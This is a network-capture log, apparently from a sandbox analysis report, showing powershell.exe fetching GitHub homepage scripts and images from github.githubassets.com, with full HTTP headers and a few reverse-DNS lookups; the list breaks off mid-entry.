User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 4323
Cache-Control: public, max-age=31536000
Last-Modified: Fri, 17 Mar 2023 17:11:23 GMT
ETag: "b49149f4a5bb177d2a996d4dabb198ad"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:34 GMT
Age: 5668961
X-Served-By: cache-iad-kcgs7200130-IAD, cache-ams21021-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 29, 6652
Vary: Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: c3d83cefc14477755d649484c15043986bff2dad
GET

https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-b4a243-f71dee1f28a5.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-b4a243-f71dee1f28a5.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 5213
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Thu, 27 Jul 2023 11:50:07 GMT
ETag: "636dad12b16c8fc953572f80ff4d731d"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:35 GMT
Age: 4506106
X-Served-By: cache-iad-kiad7000120-IAD, cache-ams21021-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 44, 6384
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 089ba6163d53b25811354355fb8d31adbf1490cc
GET

https://github.githubassets.com/assets/home-0369a2a6b0c5.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/home-0369a2a6b0c5.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 377
Cache-Control: public, max-age=31536000
Last-Modified: Tue, 07 Feb 2023 02:44:04 GMT
ETag: "6dcdf884b9d52d3a5ea816f34f0fe06a"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:35 GMT
Age: 2000180
X-Served-By: cache-iad-kcgs7200102-IAD, cache-ams21021-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 8997, 5707
Vary: Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: e13d2a78ccb57dc9aa917a8c26c504bed702f461
GET

https://github.githubassets.com/assets/webgl-globe-a04dd3bb35e2.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/webgl-globe-a04dd3bb35e2.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 197
Cache-Control: public, max-age=31536000
Last-Modified: Fri, 01 Sep 2023 18:55:10 GMT
ETag: "2b603c2d57d76d67a74946ff00ee4d50"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:35 GMT
Age: 1341092
X-Served-By: cache-iad-kiad7000164-IAD, cache-ams21021-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 11262, 5816
Vary: Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 19e80035090e3a30070b8f87906d693552264856
GET

https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_memoize_dist_esm_in-687f35-d131f0b6de8e.js

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_memoize_dist_esm_in-687f35-d131f0b6de8e.js HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 3577
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Cache-Control: public, max-age=31536000
Last-Modified: Thu, 23 Mar 2023 17:21:04 GMT
ETag: "07545d79324e61d14de7d47e9ca6b03e"
Content-Type: application/javascript
Server: AmazonS3
Content-Encoding: gzip
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:35 GMT
Age: 124000
X-Served-By: cache-iad-kiad7000068-IAD, cache-ams21021-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 20, 5516
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 87d3e3292f75eebc4d74434e062d9e9bd93eef2d
GET

https://github.githubassets.com/images/modules/site/home-campaign/hero-bg.webp

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/home-campaign/hero-bg.webp HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 106954
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Content-Type: image/webp
Etag: "r1E6Y8ax67xTn1qPUb/YmQ3SnlAdh3RplfyW9e7FkpI"
Fastly-Io-Info: ifsz=125692 idim=4377x2043 ifmt=webp ofsz=106954 odim=4377x2043 ofmt=webp
Fastly-Stats: io=1
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:35 GMT
Age: 5923
X-Served-By: cache-iad-kiad7000052-IAD, cache-ams21021-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 7714, 31
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: c2646ae991955dbcaa0042e6c001bf1fff01ff43
DNS

133.110.199.185.in-addr.arpa

Remote address:

8.8.8.8:53

Request

133.110.199.185.in-addr.arpa

IN PTR

Response

133.110.199.185.in-addr.arpa

IN PTR

cdn-185-199-110-133githubcom
DNS

241.154.82.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

241.154.82.20.in-addr.arpa

IN PTR

Response
DNS

3.114.82.140.in-addr.arpa

Remote address:

8.8.8.8:53

Request

3.114.82.140.in-addr.arpa

IN PTR

Response

3.114.82.140.in-addr.arpa

IN PTR

lb-140-82-114-3-iadgithubcom
DNS

41.110.16.96.in-addr.arpa

Remote address:

8.8.8.8:53

Request

41.110.16.96.in-addr.arpa

IN PTR

Response

41.110.16.96.in-addr.arpa

IN PTR

a96-16-110-41deploystaticakamaitechnologiescom
DNS

95.221.229.192.in-addr.arpa

Remote address:

8.8.8.8:53

Request

95.221.229.192.in-addr.arpa

IN PTR

Response
DNS

154.108.199.185.in-addr.arpa

Remote address:

8.8.8.8:53

Request

154.108.199.185.in-addr.arpa

IN PTR

Response

154.108.199.185.in-addr.arpa

IN PTR

cdn-185-199-108-154githubcom
GET

https://github.githubassets.com/images/modules/site/universe/eyebrow-23@2x.png

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/universe/eyebrow-23@2x.png HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 10553
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Content-Type: image/png
Etag: "SluLjbqQ6dtXNWB9RudOxz49Yk/JtXGtSIZQcUfNaYI"
Fastly-Io-Info: ifsz=10553 idim=80x80 ifmt=png ofsz=10553 odim=80x80 ofmt=png
Fastly-Io-Warning: Failed to shrink image
Fastly-Stats: io=1
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:35 GMT
Age: 815
X-Served-By: cache-iad-kjyo7100087-IAD, cache-ams21047-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 15, 1
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: c6972ea73abdfb64e566afcd86e0aa0b63ce4181
GET

https://github.githubassets.com/images/modules/site/home-campaign/logos/mercedes.svg

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/home-campaign/logos/mercedes.svg HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 7133
Last-Modified: Mon, 07 Nov 2022 10:15:20 GMT
ETag: "cd9403aad87a2862dd331f4399e070f0"
Content-Type: image/svg+xml
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:36 GMT
Age: 5062
X-Served-By: cache-iad-kcgs7200102-IAD, cache-ams21047-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 158170, 16
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: ca11e1a6e127d3c933df34e872e43ed7c099d1e1
GET

https://github.githubassets.com/images/modules/site/home-campaign/logos/telus.svg

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/home-campaign/logos/telus.svg HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 3398
Last-Modified: Mon, 07 Nov 2022 10:15:20 GMT
ETag: "586d972ffa192cfa4178176fd3423d5b"
Content-Type: image/svg+xml
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:36 GMT
Age: 4907
X-Served-By: cache-iad-kcgs7200066-IAD, cache-ams21047-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 217621, 15
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 76939942c80f353e92bab585901e4af4d8d42276
GET

https://github.githubassets.com/images/modules/site/home-campaign/bg-stars-1.webp

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/home-campaign/bg-stars-1.webp HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 101924
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Content-Type: image/webp
Etag: "rlcsccXvmbhd6Q16IjVP8wG2B+n0rO/8dvqsNY1R/VY"
Fastly-Io-Info: ifsz=102086 idim=2712x2712 ifmt=webp ofsz=101924 odim=2712x2712 ofmt=webp
Fastly-Stats: io=1
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:36 GMT
Age: 2514
X-Served-By: cache-iad-kiad7000116-IAD, cache-ams21047-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 5410, 1
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: cd631b5db0be49b79a6bb74888a7fc2f3484150f
GET

https://github.githubassets.com/images/modules/site/codespaces/illo-context-menu.png

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/codespaces/illo-context-menu.png HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 22408
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Content-Type: image/png
Etag: "UWRSbGFq7swlSk8opT2PirBVIZQLPBM8MFXYh2Jbr+0"
Fastly-Io-Info: ifsz=22408 idim=600x524 ifmt=png ofsz=22408 odim=600x524 ofmt=png
Fastly-Io-Warning: Failed to shrink image
Fastly-Stats: io=1
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:36 GMT
Age: 3318
X-Served-By: cache-iad-kiad7000141-IAD, cache-ams21047-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 8218, 9
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: e708fa81edaf953bf1ab11faea34932e2f4841a5
GET

https://github.githubassets.com/images/modules/site/codespaces/illo-ports.png

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/codespaces/illo-ports.png HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 7056
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Content-Type: image/png
Etag: "y/c71u6uBzmtX1wKxCp9hJ1E0v0xcjk6iVmaEq/rwKg"
Fastly-Io-Info: ifsz=7056 idim=746x368 ifmt=png ofsz=7056 odim=746x368 ofmt=png
Fastly-Io-Warning: Failed to shrink image
Fastly-Stats: io=1
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:36 GMT
Age: 2616
X-Served-By: cache-iad-kjyo7100092-IAD, cache-ams21047-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 6936, 8
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 635bac2362233c7ece77f5dfaff1e3a8841b918a
GET

https://github.githubassets.com/images/modules/site/home-campaign/illu-mobile.png

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/home-campaign/illu-mobile.png HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 116644
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Content-Type: image/png
Etag: "alh0z6XG2EdALpGDrvpDITayg2QUULXON4YiPy3K1o8"
Fastly-Io-Info: ifsz=116644 idim=1208x764 ifmt=png ofsz=116644 odim=1208x764 ofmt=png
Fastly-Io-Warning: Failed to shrink image
Fastly-Stats: io=1
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:36 GMT
Age: 1856
X-Served-By: cache-iad-kcgs7200096-IAD, cache-ams21047-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 237, 1
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 75352ad1d9cdb6e22949e3304f7f1019c18eccae
GET

https://github.githubassets.com/images/modules/site/home-campaign/git-branch-collaboration.svg

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/home-campaign/git-branch-collaboration.svg HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 3078
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Last-Modified: Thu, 27 Oct 2022 14:15:22 GMT
ETag: "7497c5e34589b29ed29274e4129539c9"
Content-Type: image/svg+xml
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:36 GMT
Age: 3035
X-Served-By: cache-iad-kiad7000105-IAD, cache-ams21047-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 119877, 2
Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 42ec39bfd7ba5f3a300d9aa5d575ba40d37b777e
GET

https://github.githubassets.com/images/modules/site/home-campaign/illu-discussions.png

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/home-campaign/illu-discussions.png HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 104186
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Content-Type: image/png
Etag: "fyTrBdaCSjN/6L+EUDRsyn4OxZqlxMSk7S9rsiV97qw"
Fastly-Io-Info: ifsz=104186 idim=1208x764 ifmt=png ofsz=104186 odim=1208x764 ofmt=png
Fastly-Io-Warning: Failed to shrink image
Fastly-Stats: io=1
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:36 GMT
Age: 3156
X-Served-By: cache-iad-kjyo7100059-IAD, cache-ams21047-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 176, 1
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: a1bc3808f540b7e6ac44d1cc5a71e4a7f8a30631
GET

https://github.githubassets.com/images/modules/site/home-campaign/sponsors/chaynhq.png

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/home-campaign/sponsors/chaynhq.png HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 7764
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Content-Type: image/png
Etag: "s/lyA4ZOOMohYigs0dR6kQFdZ+XJhyfGigU6NYTfP5A"
Fastly-Io-Info: ifsz=7764 idim=192x192 ifmt=png ofsz=7764 odim=192x192 ofmt=png
Fastly-Io-Warning: Failed to shrink image
Fastly-Stats: io=1
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:37 GMT
Age: 5262
X-Served-By: cache-iad-kcgs7200066-IAD, cache-ams21047-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 69, 2
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: bf4337fb7a35d79020629523a059678f37a4546c
GET

https://github.githubassets.com/images/modules/site/home-campaign/sponsors/homebrew.png

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/home-campaign/sponsors/homebrew.png HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 6942
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Content-Type: image/png
Etag: "Kyvh7/utpqibT0FrQW4mCQ22aMaV8OuaVW+zHRHfO04"
Fastly-Io-Info: ifsz=6942 idim=192x192 ifmt=png ofsz=6942 odim=192x192 ofmt=png
Fastly-Io-Warning: Failed to shrink image
Fastly-Stats: io=1
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:37 GMT
Age: 3177
X-Served-By: cache-iad-kiad7000116-IAD, cache-ams21047-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 27, 2
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: be810a9d6732898349016ebfc1e0969087281f61
GET

https://github.githubassets.com/images/modules/site/home-campaign/sponsors/curl.jpeg

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/home-campaign/sponsors/curl.jpeg HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 5316
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Content-Type: image/jpeg
Etag: "H3abJ9jE8RvPhQAMFOeVssB4DziJ1obYkSREn5rTlw0"
Fastly-Io-Info: ifsz=5316 idim=192x192 ifmt=jpeg ofsz=5316 odim=192x192 ofmt=jpeg
Fastly-Io-Warning: Failed to shrink image
Fastly-Stats: io=1
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:37 GMT
Age: 1177
X-Served-By: cache-iad-kjyo7100154-IAD, cache-ams21047-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 75, 1
Vary: Accept
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 0484c6f760015ca83771b5eb5ee1621f852b8230
GET

https://github.githubassets.com/images/modules/site/home-campaign/sponsors/commandpost.png

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/home-campaign/sponsors/commandpost.png HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 35498
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Content-Type: image/png
Etag: "WGv/ZLdOQEhXE/RZJiAzmAIs4pJZ7LG+fjUSq/B6hX0"
Fastly-Io-Info: ifsz=35498 idim=192x192 ifmt=png ofsz=35498 odim=192x192 ofmt=png
Fastly-Io-Warning: Failed to shrink image
Fastly-Stats: io=1
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:37 GMT
Age: 3230
X-Served-By: cache-iad-kcgs7200034-IAD, cache-ams21047-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 582, 2
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: db345ebd41b9d2694847269467185ec2784fb022
GET

https://github.githubassets.com/images/modules/site/home-campaign/sponsors/kazupon.jpeg

powershell.exe

Remote address:

185.199.108.154:443

Request

GET /images/modules/site/home-campaign/sponsors/kazupon.jpeg HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: github.githubassets.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Connection: keep-alive
Content-Length: 3898
Access-Control-Allow-Methods: GET
Access-Control-Max-Age: 3600
Content-Type: image/jpeg
Etag: "GC1Pz0NJrKxf2irNou+j5vHe4Lgx7X6XJVw0GxvGFk4"
Fastly-Io-Info: ifsz=3898 idim=192x192 ifmt=jpeg ofsz=3898 odim=192x192 ofmt=jpeg
Fastly-Io-Warning: Failed to shrink image
Fastly-Stats: io=1
Server: AmazonS3
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Date: Sun, 17 Sep 2023 15:42:38 GMT
Age: 2317
X-Served-By: cache-iad-kjyo7100047-IAD, cache-ams21047-AMS
X-Cache: HIT, HIT
X-Cache-Hits: 266, 1
Vary: Accept
Cross-Origin-Resource-Policy: cross-origin
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 7d3f0701ccc50f11b94b9f4194806c0eb154f6e5
GET

https://github.githubassets.com/images/modules/site/home-campaign/git-branch-security.svg

